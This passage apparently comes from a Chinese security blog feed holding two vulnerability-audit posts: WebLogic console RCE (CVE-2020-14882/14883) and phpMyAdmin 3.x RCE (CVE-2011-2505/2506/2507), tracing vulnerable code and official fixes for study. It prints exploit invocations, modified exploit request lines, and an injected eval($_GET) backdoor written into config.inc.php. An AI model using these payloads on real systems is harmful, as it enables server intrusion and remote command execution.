class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;HandleUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;getHandleContextFromRequest&lt;/span&gt;
&lt;span class="n"&gt;wlserver&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;consoleapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;webapp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WEB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INF&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;bea&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;console&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;HandleUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;handleFromQueryString&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里我们需要传入&lt;code&gt;handle&lt;/code&gt;参数，不然无法进入到后续的处理过程&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607853700665" src="https://s2.loli.net/2024/06/14/cLJU79qYZKExw8T.png"&gt;&lt;/p&gt;
&lt;p&gt;我们直接使用触发代码执行的payload来触发断点：&lt;code&gt;python.exe exp.py  http://127.0.0.1:7001 whoami&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607854338886" src="https://s2.loli.net/2024/06/14/DA7oaHhrMF1mG2C.png"&gt;&lt;/p&gt;
&lt;p&gt;我们继续跟入&lt;code&gt;getHandle&lt;/code&gt;方法，在下面这段代码中完成类的实例化&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607854466009" src="https://s2.loli.net/2024/06/14/OFgpNJqkPlEdMxh.png"&gt;&lt;/p&gt;
&lt;p&gt;其他组件的执行流程和content类似，不再赘述&lt;/p&gt;
&lt;h1&gt;触发漏洞&lt;/h1&gt;
&lt;p&gt;通过上面的分析，我们只需要构造正确的url并传入正确的handle参数值即可触发代码执行，参考&lt;a href="http://144.34.164.217/cve-2020-1488214883weblogic-rce.html#"&gt;这篇文章&lt;/a&gt;，有一点需要说的是，之前听说过该漏洞在执行命令时会重复执行一条命令若干次，这个其实很好解释，就是在遍历整个控件树的时候每次遍历一个节点都会触发一次漏洞代码，因此命令也就会被重复执行&lt;/p&gt;
&lt;p&gt;我们用curl命令来进行测试，正常情况下结果文件中只有一行&lt;code&gt;just test!!!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607863849780" src="https://s2.loli.net/2024/06/14/1woIRgW5MNOsaVf.png"&gt;&lt;/p&gt;
&lt;p&gt;然后我们使用漏洞脚本执行这条命令：&lt;code&gt;python exp.py http://127.0.0.1:7001 curl http://192.168.1.5/test.html ^&amp;gt;^&amp;gt; /tmp/res.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607866307437" src="https://s2.loli.net/2024/06/14/L41wUzmOF2GvtaT.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到执行了8次！！！&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>phpmyadmin 3.x RCE审计</title><link href="phpmyadmin-3x-rceshen-ji.html" rel="alternate"></link><published>2020-09-01T00:00:00+02:00</published><updated>2020-09-01T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-09-01:phpmyadmin-3x-rceshen-ji.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;前段时间工作遇到了pma 3.x，版本挺低的，想着搜一下看有没有现成的exp来利用一下，然后就搜到了&lt;code&gt;CVE-2011-2505&lt;/code&gt;和&lt;code&gt;CVE-2011-2506&lt;/code&gt;联合导致的RCE漏洞&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;其中前 …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;前段时间工作遇到了pma 3.x，版本挺低的，想着搜一下看有没有现成的exp来利用一下，然后就搜到了&lt;code&gt;CVE-2011-2505&lt;/code&gt;和&lt;code&gt;CVE-2011-2506&lt;/code&gt;联合导致的RCE漏洞&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;其中前者是&lt;code&gt;$_SESSION&lt;/code&gt;变量的覆盖漏洞，后者是远程代码注入漏洞，两者联合可以将任意代码写入配置文件，利用的唯一条件是目标pma根目录下存在&lt;code&gt;config&lt;/code&gt;目录&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参考链接： &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html"&gt;http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/17514"&gt;https://www.exploit-db.com/exploits/17514&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境准备&lt;/h1&gt;
&lt;p&gt;IDEA配置php调试环境不必多说，也很简单，主要就是pma 3.x版本过低，找起来不太容易，这里直接提供&lt;a href="https://gitee.com/wochinijiamile/suiyi/raw/master/phpMyAdmin-3.2.4-english.zip"&gt;下载链接&lt;/a&gt;，这里是&lt;strong&gt;pma 3.2.4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在测试第三个漏洞的时候&lt;/strong&gt;，我发现pma 3.2.4并没有漏洞文件，全局搜索也未找到和漏洞描述相似的文件，因此直接去&lt;a href="https://github.com/phpmyadmin/phpmyadmin/releases/tag/RELEASE_3_4_2"&gt;pma的github&lt;/a&gt;下载了3.4.2版本进行测试，&lt;/p&gt;
&lt;p&gt;另外一点就是这个洞的调试不能直接在浏览器中调试，因为变量覆盖的地方是session销毁的地方，&lt;strong&gt;如果在浏览器中调试，在第二阶段利用过程中，服务器会向浏览器返回新的cookie，那么我们先前构造的&lt;code&gt;$_session&lt;/code&gt;变量的值也就不存在了&lt;/strong&gt;，因此我们需要对网上下载回来的&lt;a href="https://www.exploit-db.com/exploits/17514"&gt;exp脚本&lt;/a&gt;进行更改以进行调试&lt;/p&gt;
&lt;p&gt;在脚本第39行增加&lt;code&gt;$XDEBUG_SESSION_START = $argv[1];&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;修改101行内容为&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;curl_setopt($ch, CURLOPT_URL, $pmaurl.&amp;#39;/?XDEBUG_SESSION_START=&amp;#39;.$XDEBUG_SESSION_START.&amp;#39;&amp;amp;_SESSION[ConfigFile][Servers][*/&amp;#39;.urlencode($code).&amp;#39;/*][port]=0&amp;amp;session_to_unset=x&amp;amp;token=&amp;#39;.$token);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;修改112行内容为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;curl_setopt($ch, CURLOPT_URL, $pmaurl.&amp;#39;/?XDEBUG_SESSION_START=&amp;#39;.$XDEBUG_SESSION_START.&amp;#39;&amp;amp;_SESSION[ConfigFile][Servers][*/&amp;#39;.urlencode($code).&amp;#39;/*][port]=0&amp;amp;session_to_unset=x&amp;amp;token=&amp;#39;.$token);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在执行exp时，使用如下形式即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\p&lt;/span&gt;hpStudy&lt;span class="se"&gt;\P&lt;/span&gt;HPTutorial&lt;span class="se"&gt;\p&lt;/span&gt;hp&lt;span class="se"&gt;\p&lt;/span&gt;hp-5.4.45-nts&lt;span class="se"&gt;\p&lt;/span&gt;hp.exe&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\p&lt;/span&gt;hpStudy&lt;span class="se"&gt;\P&lt;/span&gt;HPTutorial&lt;span class="se"&gt;\W&lt;/span&gt;WW&lt;span class="se"&gt;\2&lt;/span&gt;.php&lt;span class="w"&gt; &lt;/span&gt;http://localhost/phpMyAdmin-3.2.4-english/phpMyAdmin-3.2.4-english&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14508&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其中第一个参数为目标url，第二个参数为&lt;code&gt;XDEBUG_SESSION_START&lt;/code&gt;的值&lt;/p&gt;
&lt;h1&gt;前台RCE漏洞分析&lt;/h1&gt;
&lt;h2&gt;第一个漏洞 CVE-2011-2505&lt;/h2&gt;
&lt;p&gt;官方修复：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967"&gt;https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;漏洞文件：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libraries\auth\swekey\swekey.auth.lib.php&lt;/code&gt;，第&lt;code&gt;266-276&lt;/code&gt;行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if (strstr($_SERVER[&amp;#39;QUERY_STRING&amp;#39;],&amp;#39;session_to_unset&amp;#39;) != false)&lt;/span&gt;
&lt;span class="x"&gt;{&lt;/span&gt;
&lt;span class="x"&gt;    parse_str($_SERVER[&amp;#39;QUERY_STRING&amp;#39;]);&lt;/span&gt;
&lt;span class="x"&gt;    session_write_close();&lt;/span&gt;
&lt;span class="x"&gt;    session_id($session_to_unset);&lt;/span&gt;
&lt;span class="x"&gt;    session_start();&lt;/span&gt;
&lt;span class="x"&gt;    $_SESSION = array();&lt;/span&gt;
&lt;span class="x"&gt;    session_write_close();&lt;/span&gt;
&lt;span class="x"&gt;    session_destroy();&lt;/span&gt;
&lt;span class="x"&gt;    exit;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里的关键位置就是&lt;code&gt;268&lt;/code&gt;行的&lt;code&gt;parse_str&lt;/code&gt;函数，&lt;strong&gt;官方推荐用法是传入两个参数，第二个参数用于限定变量的名称&lt;/strong&gt;，但是这里却只传入了第一个参数，因此我们可以随意控制变量的名称和值，&lt;strong&gt;官方修复方法是将&lt;code&gt;268&lt;/code&gt;行的代码删除，并从&lt;code&gt;$_GET['session_to_unset']&lt;/code&gt;获取要销毁的session&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下面给出给函数的官方示例，方便理解：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;first=value&amp;amp;arr[]=foo+bar&amp;amp;arr[]=baz&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 推荐&lt;/span&gt;
&lt;span class="nb"&gt;parse_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;first&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;  &lt;span class="c1"&gt;// value&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// foo bar&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// baz&lt;/span&gt;

&lt;span class="c1"&gt;// 不推荐&lt;/span&gt;
&lt;span class="nb"&gt;parse_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// value&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// foo bar&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// baz&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我们在构造的&lt;code&gt;QUERY_SETRING&lt;/code&gt;中将&lt;code&gt;session_to_unset&lt;/code&gt;的值设置为&lt;code&gt;x&lt;/code&gt;，这个其实就是告诉pma要销毁的sessionid，&lt;strong&gt;在PHP中，session文件以&lt;code&gt;sess_cookie&lt;/code&gt;的形式进行存储，其中cookie就是我们的sessionid，因此我们只要设置一个和我们先前获取到的cookie值不一样的字符串即可避免session被销毁&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599013809753" src="https://s2.loli.net/2024/06/14/F918lAyVrvbUZPo.png"&gt;&lt;/p&gt;
&lt;h2&gt;第二个漏洞 CVE-2011-2506&lt;/h2&gt;
&lt;p&gt;官方修复：&lt;a href="https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f"&gt;https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;漏洞文件：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;setup\lib\ConfigFile.class.php&lt;/code&gt;，第&lt;code&gt;286-299&lt;/code&gt;行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if ($this-&amp;gt;getServerCount() &amp;gt; 0) {&lt;/span&gt;
&lt;span class="x"&gt;    $ret .= &amp;quot;/* Servers configuration */$crlf\$i = 0;&amp;quot; . $crlf . $crlf;&lt;/span&gt;
&lt;span class="x"&gt;    foreach ($c[&amp;#39;Servers&amp;#39;] as $id =&amp;gt; $server) {&lt;/span&gt;
&lt;span class="x"&gt;        $ret .= &amp;#39;/* Server: &amp;#39; . strtr($this-&amp;gt;getServerName($id), &amp;#39;*/&amp;#39;, &amp;#39;-&amp;#39;) . &amp;quot; [$id] */&amp;quot; . $crlf&lt;/span&gt;
&lt;span class="x"&gt;            . &amp;#39;$i++;&amp;#39; . $crlf;&lt;/span&gt;
&lt;span class="x"&gt;        foreach ($server as $k =&amp;gt; $v) {&lt;/span&gt;
&lt;span class="x"&gt;            $k = preg_replace(&amp;#39;/[^A-Za-z0-9_]/&amp;#39;, &amp;#39;_&amp;#39;, $k);&lt;/span&gt;
&lt;span class="x"&gt;            $ret .= &amp;quot;\$cfg[&amp;#39;Servers&amp;#39;][\$i][&amp;#39;$k&amp;#39;] = &amp;quot;&lt;/span&gt;
&lt;span class="x"&gt;                . var_export($v, true) . &amp;#39;;&amp;#39; . $crlf;&lt;/span&gt;
&lt;span class="x"&gt;        }&lt;/span&gt;
&lt;span class="x"&gt;        $ret .= $crlf;&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;    $ret .= &amp;#39;/* End of servers configuration */&amp;#39; . $crlf . $crlf;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;可以看到在第&lt;code&gt;289&lt;/code&gt;行使用&lt;code&gt;strstr&lt;/code&gt;函数检测&lt;code&gt;$this-&amp;gt;getServerName($id)&lt;/code&gt;中是否存在注释符，虽然这个地方被检测了，但是&lt;code&gt;$ID&lt;/code&gt;并没有被检查，所以我们可以在这里做手脚，也就是说我们构造&lt;code&gt;$c['Servers']&lt;/code&gt;的值闭合注释符号即可注入我们自己的代码，而&lt;code&gt;$c['Servers']&lt;/code&gt;中的&lt;code&gt;$c&lt;/code&gt;的值是&lt;code&gt;$c = $_SESSION['ConfigFile'];&lt;/code&gt;，根据上一个漏洞，我们可以控制&lt;code&gt;$_SESSION&lt;/code&gt;变量的值，那也就意味着我们可以控制&lt;code&gt;$c&lt;/code&gt;变量的值，从而闭合注释符注入代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;官方的修复方法是对&lt;code&gt;$id&lt;/code&gt;也进行了注释符的检测&lt;/p&gt;
&lt;h2&gt;exp脚本分析&lt;/h2&gt;
&lt;p&gt;根据上面的分析，我们前后一共需要发起三次请求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次请求获取cookie和token并保存以待后用&lt;/li&gt;
&lt;li&gt;第二次请求构造$_SESSION变量的值&lt;/li&gt;
&lt;li&gt;第三次请求保存注入了我们的代码的配置文件到服务器的config目录&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;在&lt;code&gt;setup\config.php&lt;/code&gt;的第49行&lt;code&gt;file_put_contents($config_file_path, ConfigFile::getInstance()-&amp;gt;getConfigFile());&lt;/code&gt;调用&lt;code&gt;file_put_contents&lt;/code&gt;函数将注入代码写入配置文件，&lt;code&gt;$config_file_path&lt;/code&gt;的值是&lt;code&gt;./config/config.inc.php&lt;/code&gt;，从这里我们跟入&lt;code&gt;ConfigFile::getInstance()-&amp;gt;getConfigFile()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;放开前一个漏洞文件的断点，跟入第二个漏洞文件，&lt;code&gt;$ret&lt;/code&gt;最终的值为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt; * Generated configuration file&lt;/span&gt;
&lt;span class="cm"&gt; * Generated by: phpMyAdmin 3.2.4 setup script by Piotr Przybylski &amp;lt;piotrprz@gmail.com&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt; * Date: Wed, 02 Sep 2020 11:27:13 +0800&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;

&lt;span class="cm"&gt;/* Servers configuration */&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* Server: localhost [*/&lt;/span&gt;&lt;span class="k"&gt;foreach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eval&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="cm"&gt;/*] */&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Servers&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* End of servers configuration */&lt;/span&gt;

&lt;span class="nv"&gt;$cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DefaultLang&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;en-utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ServerDefault&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;UploadDir&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SaveDir&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;最后我们访问&lt;code&gt;/config/config.inc.php&lt;/code&gt;即可进行命令执行等操作：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599018034423" src="https://s2.loli.net/2024/06/14/sfNISQkBrGxC4OK.png"&gt;&lt;/p&gt;
&lt;h1&gt;后台RCE漏洞分析&lt;/h1&gt;
&lt;h2&gt;第三个漏洞 CVE-2011-2507&lt;/h2&gt;
&lt;p&gt;上面的两个漏洞联合可以触发前台RCE，后面的漏洞需要首先进行认证进入PMA后台才可以触发RCE，这个漏洞是利用的php的&lt;code&gt;preg_replace&lt;/code&gt;函数存在的漏洞并结合第一个变量覆盖漏洞达到RCE的目的，根据&lt;a href="http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html"&gt;Haxxor&lt;/a&gt;文章的分析，在php 5.3.6源代码的&lt;code&gt;ext/pcre/php_pcre.c&lt;/code&gt;中，对&lt;code&gt;preg_replace&lt;/code&gt;的第一个参数，也就是正则表达式的修饰符的处理中存在空字节截断的问题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/*  Parse through the options, setting appropriate flags.  Display&lt;/span&gt;
&lt;span class="cm"&gt;    a warning if we encounter an unknown modifier. */&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pp&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Perl compatible options */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_CASELESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;m&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_MULTILINE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
